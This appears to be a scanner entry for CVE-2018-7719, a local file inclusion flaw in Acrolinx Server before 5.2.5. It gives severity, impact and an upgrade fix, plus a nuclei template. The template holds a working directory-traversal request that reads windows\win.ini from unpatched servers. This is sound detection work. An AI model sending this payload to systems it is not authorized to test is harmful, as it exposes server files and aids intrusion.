Acrolinx Server <5.2.5 - Local File Inclusion

highseverity

7.5CVSS score

46.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Acrolinx Server prior to 5.2.5 suffers from a local file inclusion vulnerability.

Impact

Successful exploitation of this vulnerability can result in unauthorized access to sensitive files on the server, potentially leading to further compromise of the system.

Fix

Upgrade Acrolinx Server to version 5.2.5 or later to mitigate the vulnerability.

How to confirm it

Send: GET /..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini
Positive when: contains "bit app support" and "fonts" and "extensions"

Run it with nuclei: nuclei -id CVE-2018-7719 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-7719

info:
  name: Acrolinx Server <5.2.5 - Local File Inclusion
  author: 0x_akoko
  severity: high
  description: |
    Acrolinx Server prior to 5.2.5 suffers from a local file inclusion vulnerability.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized access to sensitive files on the server, potentially leading to further compromise of the system.
  remediation: |
    Upgrade Acrolinx Server to version 5.2.5 or later to mitigate the vulnerability.
  reference:
    - https://packetstormsecurity.com/files/146911/Acrolinx-Server-Directory-Traversal.html
    - https://support.acrolinx.com/hc/en-us/articles/213987685-Acrolinx-Server-Version-5-1-including-subsequent-service-releases-
    - https://www.exploit-db.com/exploits/44345/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7719
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-7719
    cwe-id: CWE-22
    epss-score: 0.46874
    epss-percentile: 0.98836
    cpe: cpe:2.3:a:acrolinx:acrolinx_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: acrolinx
    product: acrolinx_server
  tags: cve2018,cve,acrolinx,lfi,packetstorm,edb,vuln

http:
  - raw:
      - |+
        GET /..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini HTTP/1.1
        Host: {{Hostname}}

    unsafe: true
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

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